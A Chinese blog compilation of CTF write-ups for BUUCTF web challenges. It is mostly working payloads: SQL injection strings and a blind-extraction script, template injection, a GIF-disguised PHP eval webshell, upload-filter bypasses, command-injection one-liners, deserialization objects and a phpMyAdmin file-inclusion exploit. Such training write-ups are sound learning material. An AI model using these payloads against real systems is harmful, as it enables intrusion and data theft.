跳转至

BUU WEB(一)

BUU-WEB(一)

本来一题一篇文章,结果发现太浪费了,所以整合起来了,

随便注

随便输入一个单引号,报错
1582190298120-0677bea3-3280-4bca-a777-7a2a4c4956b4.png

order by 3就不行了
1582190298100-06781bef-d530-4026-bac8-bcd656294898.png

尝试联合查询的时候出现提示:
"/select|update|delete|drop|insert|where|./i"
1582190298088-df3aa016-4844-4f97-8a1c-8c5c21b9110f.png

一个正则可视化网站:https://regexper.com
1582190298053-73ea4a24-252e-4c4f-8f8e-cb1796babd8b.png

 使用堆叠注入:1';show tables;#
1582190298128-71010914-7be7-4909-8cfb-188bc5f87b58.png

看一下表里有什么列名:1';show columns from 1919810931114514;#
(注意,字符串为表名的表操作时要加反引号)
1582190298122-319cf83c-e4ed-4844-825d-639e4cfac894.png

但是没办法使用 select * from 1919810931114514
看网上师傅们有两种方法,第一种:mysql 预定义语句
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;#

hex decode 以后是:?inject=1';SeT@a=select * from **1919810931114514**;Prepare execsql from @a;execute execsql;#

1582190298106-9393a75f-e1f4-49c4-a82c-17b8a2f17ead.png

还有一种方法时是:改表名 这样查询的时候就可以查询到 flag
?inject=1';
rename tables words to test;rename tables 1919810931114514 to words;
alter table words change flag id varchar(100);#

意思分别是:把 words 表改名为 test,把 1919810931114541 改名为 words
把列名 flag 改为 id

这样在 1'; or 1=1# 查询的时候就会把所有的都列出来,这样就可以看到 flag 了
1582190298281-e70d996d-bdc2-46a1-847f-e7fb9dbb00f6.png

easy_tornado

打开看到有三个文件:
1582190298252-e06ca652-0d67-4a6b-a567-4c2f203196be.png

三个文件内容如下:
1582190298186-1dd07d54-87e3-4052-9111-369d5a99e530.png
1582190298074-6cad8b42-317a-4e42-ae6b-bc36c2e1e14a.png
1582190298110-183b7d1b-bf44-45fb-8342-24311468d632.png

通过 url 知道,访问一个文件需要知道:filename 跟 filehash

1582190298160-6b4634f5-99aa-4f78-a94f-facc6ea2218d.png

企图直接访问是不行的,想到了 burp 抓包,但是抓了半天没抓到,看了网上的 wp 是 模版注入

1582190298259-b3411ff4-7dbe-4601-a2f1-2f484ca529e9.png

tornado 是一个 python 的模板,welcome.txt 中的 render 是 python 中的一个渲染函数,
报错时候的 url 是这样的

1582190298103-d507818f-47f7-40db-9971-d155a481cfa3.png

尝试把后面换成这样输出了!

{ {111} }

1582190298371-a461eea1-6a9b-45a7-96e8-9cbc5321dd87.png

在 tornado 模板中,存在一些可以访问的快速对象,例如:

<title>
     { { escape(handler.settings["cookie"]) } }
 </title>

那么输入:

{ {handler.settings} }

1582190298335-26629580-adc0-407f-9b0f-cdaf0eeec081.png

拿到 cookie 就 OK 了!

import hashlib
def md5value(s):
    md5 = hashlib.md5() 
    md5.update(s) 
    return md5.hexdigest()
def jiami(): 
    filename = '/fllllllllllllag'
    cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+xprint(md5value(y.encode('utf-8')))
jiami()

1582190298337-2b7fe544-a6db-47a8-b6a4-4426c056d5ad.png

EasySQL

这道题目有两种解法,一种是:,1,这样查询结果会把表中所有的数据返回来(据说是非预期解,出题人可能忘记过滤掉了)
还有一种说是考察sql_mode,通过堆叠注入修改sql_mode,
可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 || 视为字符串连接符而非 或 运算符 
因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag 

Payload : 
1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
拼接后就变成了
SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag

高明的黑客

访问提示源码在 www.tar.gz

1582190298329-2978242a-bbc1-4494-8946-b60ae1860d2f.png

在网址后面加上 www.tar.gz 是可以下载下来的

1582190298347-12a9e4e8-7d99-45ff-819b-8b75436caab9.png

下下来里面超级多 php 文件,用大佬的 python 脚本筛选出来

import os,re
import requests
filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))
    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass

我参考的网上的 wp 直接把 x 开头之前的 php 文件删掉了,不然要跑很长时间(php 版本要用 7 以上的)
1582190298345-bd055ae4-c1c2-4087-8a48-c35f0f1c635f.png

访问 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag
1582190298399-386dba62-536d-4f74-8fe0-c2b29446b7ec.png

admin

网上的 wp 有三个方法,这里只记录一个,Unicode 欺骗
https://www.anquanke.com/post/id/164086

注册用户:ᴬdmin 
会将其变成:Admin
修改密码的时候会变成:admin
这样就可以直接访问 admin 用户

checkin

拿到题目,是一个上传界面
1582190298336-26c74407-7e56-4b09-9097-c0db8d9121f4.png

尝试上传,php 显示非法后缀,传图马显示内容里面有 <?
尝试这样的:

GIF89a

1582190298417-f4a90eb9-b665-4af4-ada8-22738f451b93.png

成功上传,同时还显示了文件夹下的内容 
1582190298466-d2bb36a7-07f4-41ab-97f9-9cfadcdea7d4.png

想上传 .htaccess 把图片马解析成为 php 但是失败了
看 wp 以后学到了 .user.ini 来上传后门
了解一下,先从 php.ini 说起 php.ini 是 php 的默认配置文件,其中包括了很多 php 的配置
其中 PHP_INI_USER 的配置项,可以在 ini_set () 函数中设置、注册表中设置,再就是.user.ini 中设置可以理解为 php 是允许用户自定义的 php.ini
实际上,除了 PHP_INI_SYSTEM 以外的模式(包括 PHP_INI_ALL)都是可以通过.user.ini 来设置的
而且 php.ini 是种动态加载的 ini 文件,不需要重启服务,只需要等待user_ini.cache_ttl 所设置的时间(默认300秒)就可以
需要看的是这两个选项,它们的作用是指定一个文件,会自动把这个文件包含在其他要执行的文件里面,相当于 require()
1582190298491-3df9bf54-a677-4591-aefa-0a442b890b40.png

使用方法很简单,只需要在 .user.ini 文件中写:
auto_prepend_file=文件名(比如:yichen.jpg)

解题:先上传一个 .user.ini 文件

1582190298436-3ea6e979-6a2e-4737-b083-78320f548bae.png

在上传一个 yichen.jpg 文件

1582190298655-c0aaeb77-f67c-48c6-a2b5-23213c49c7c1.png

然后在访问同一文件夹下的 index.php 就可以得到 flag 了

Hack World

sql注入题目,通过基于时间的盲注可以测出来,但是不会写脚本,懒得一个一个测,看了师傅们的wp
 师傅们用了 异或 这种操作,长见识了,师傅们的 WP:
(意识到应该整理一些 sqli 的 FUZZ 字典

import requests
from lxml import etree
def a():
    url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn"
    flag="Hello, glzjin wants a girlfriend."
    final=""
    stop=0
    for i in range(1,1290):
         print("*"*50,i,"*"*50)
         stop=0
         for j in range(32,129):
             stop = j
             data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}
             re = requests.post(url=url,data=data).text.replace('\n','')
             html = etree.HTML(re).xpath("//text()")
             # print(">>",html)
             if flag in html:
                  final+=chr(j)
                  print("\n\t\t\t\t",final)
                  break
         if stop >= 128:
            print("*"*50,"结束")
            print(">>",final)
            break
if __name__ == '__main__':
       a()

Easy Cacl

** PHP 字符串解析特性**:
 当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替
参考:https://www.freebuf.com/articles/web/213359.html

1582190298685-a18c89f4-bf7f-46b2-b446-77fd58b5b465.png

在 freebuf 的文章中,发现了上面这些是可以被用来替换的
用到这道题目上来, WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了,同时 calc.php 中还有个黑名单,可以使用 chr() 来绕过
查看目录
calc.php? num=1;var_dump(scandir(chr(47)))
查看 flag
calc.php? num=1;var_dump(readfile(chr(47).f1agg))
不太明白为啥直接f1agg不行

[极客大挑战 2019]LoveSQL

admin' order by 4# 显示 Unknown column '4' in 'order clause'
不能用%23百分号会被url编码
admi1n' union select 1,2,3# 回显在2,3
admin1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
拿到geek!数据库
admin1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#
数据表geekuser,l0ve1ysq1
admin1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#
列名id,username,password
admin1' union select 1,group_concat(id,username,password),3 from l0ve1ysq1#

[ACTF2020 新生赛]Include

伪协议文件包含
?file=php://filter/convert.base64-encode/resource=flag.php

[GXYCTF2019]Ping Ping Ping

访问之后只有个 ?ip=,尝试 127.0.0.1;ls 出来结果,然后去 cat 的时候禁用了空格,用 $IFS$6 替代(数字随意),但是 flag 也被过滤了

image.png

可以直接 cat$IFS$6ls
也可以 echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

[ACTF2020 新生赛]Exec

post 传参
target=;cat  ../../../flag

[极客大挑战 2019]Http

访问页面有个 Secret.php
根据提示最后这样

image.png

[极客大挑战 2019]BabySQL

ad1min'uniunionon seselectlect 1,group_concat(schema_name),3 frfromom infoorrmation_schema.schemata#
爆库名
ad1min'uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
爆表名b4bsql,geekuser
ad1min'uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
爆列名
admin1'uniunionon seselectlect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql#

[极客大挑战 2019]Upload

上传 phtml 的马,内容是
注意改一下 Content-Type: image/jpeg

GIF89a
<script language="php">eval ($_POST['yichen']);</script>

然后蚁剑连接,找到 flag

[ACTF2020 新生赛]BackupFile

在 index.php.bak 看到源码,大致内容:

<?php
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
  if($key == $str) {
        echo $flag;

弱类型,直接传 key=123 就可以

[ACTF2020 新生赛]Upload

https://www.yuque.com/hxfqg9/web/adhlix#lIrAK 一样

[极客大挑战 2019]BuyFlag

image.png

[ZJCTF 2019]NiZhuanSiWei

php 代码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
post 传参 welcome to the zjctf

image.png

[BJDCTF2020]Easy MD5

访问重定向得到 hint

image.png

提交:ffifdyop
然后一个 MD5 弱类型、一个 MD5 强碰撞

[网鼎杯 2018]Fakebook

通过个人界面的 sql注入查询得到的数据可以看到是经过序列化后的

image.png

下面有个 the contents of his/her blog,因为在

image.png

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users--+
在源代码中得到 base64,解码得到 flag

image.png

[极客大挑战 2019]HardSQL

爆库:geek
1'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表:H4rDsq1
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆字段:id,username,password
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
爆数据
1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
1'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

[GXYCTF2019]BabySQli

在注释中有提示:select * from user where username = '$name'
username:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123

[网鼎杯 2020 青龙组]AreUSerialz

因为是 protect 的,所以有 00 字符,但是这样会有过滤,然而是弱类型所以直接数字绕过
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

image.png

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

$a=new FileHandler();
$b=serialize($a);
echo $b;

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

[RoarCTF 2019]Easy Java

java...在下面有个 help 访问说没那个东西,但是改成 post 传参可以下载下来,找一下配置信息
/WEB-INF/web.xml

image.png

然后在 filename=/WEB-INF/classes/com/wm/ctf/FlagController.class,解码得到

image.png

[GYCTF2020]Blacklist

输入一些 sql 语句(select),返回了 preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);

image.png

学到一种新姿势
1';handler FlagHere open; handler FlagHere read first;--+

image.png

[MRCTF2020]你传你🐎呢

上传个 .htaccess(burp 抓包改 Content-Type: image/jpeg)
然后上传一个图片马就可以解析了
flag 在根目录

[MRCTF2020]Ez_bypass

https://www.yuque.com/hxfqg9/web/oxci5k#naqjq
image.png

[GXYCTF2019]禁止套娃

.git 403,githack 可以得到 index.php,然后是无参数命令执行

localeconv() 函数返回一包含本地数字及货币格式信息的数组
scandir() 列出 images 目录中的文件和目录
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() 与 current() 一样,current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出
array_reverse()以相反的元素顺序返回数组
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码
show_source() 显示文件内容

所以:?exp=print_r(scandir(pos(localeconv()))); 就可以输出目录下的文件
读 flag.php ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

[安洵杯 2019]easy_web

刚打开的时候有个 img 的参数,是 555.png 经过 hex 和两次 base64 编码之后的,会以 base64 的形式展示在图片上,可以对 index.php 进行 hex 与两次 base64 然后传进去拿到 index.php 的源码
有个 md5 碰撞的
命令执行有个黑名单,但是 sort 命令没有过滤掉,可以 sort /flag 出 flag

[GXYCTF2019]BabyUpload

上传 .htaccess 的时候改一下文件类型 image/jpeg
然后传一个图片马(过滤了 php 应该,改成

[BJDCTF2020]Mark loves cat

git 源码泄露,可以拿到源码
首先 post 传参 $flag=flag,

<?php
foreach($_POST as $x => $y){
    $$x = $y;
}

这样 $$flag=flag,然后 get 传参 ?yds=flag

<?php
foreach($_GET as $x => $y){
    $$x = $$y;
}

这样 $yds=$flag,然后后面有个

<?php
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

只要不传入 flag 参数就会把 $yds 给打印出来,此时 $yds 已经等于 $flag 了,所以会把 flag 给打印出来

[GWCTF 2019]我有一个数据库

phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
http://4208ab9f-7d19-4f71-a05d-5ad5c79f5850.node3.buuoj.cn/phpmyadmin?target=db_datadict.php%253f/../../../../../../../../flag

[BJDCTF2020]ZJCTF,不过如此

一开始伪协议读出 next.php 源码,然后 preg_replace /e 命令执行
next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

[BJDCTF2020]The mystery of ip

XFF 存在模版注入

image.png

[SUCTF 2019]Pythonginx

https://team-su.github.io/passages/2019-08-22-SUCTF/

file://suctf.c℆sr%2ffffffflag @111

原文: https://www.yuque.com/hxfqg9/web/adhlix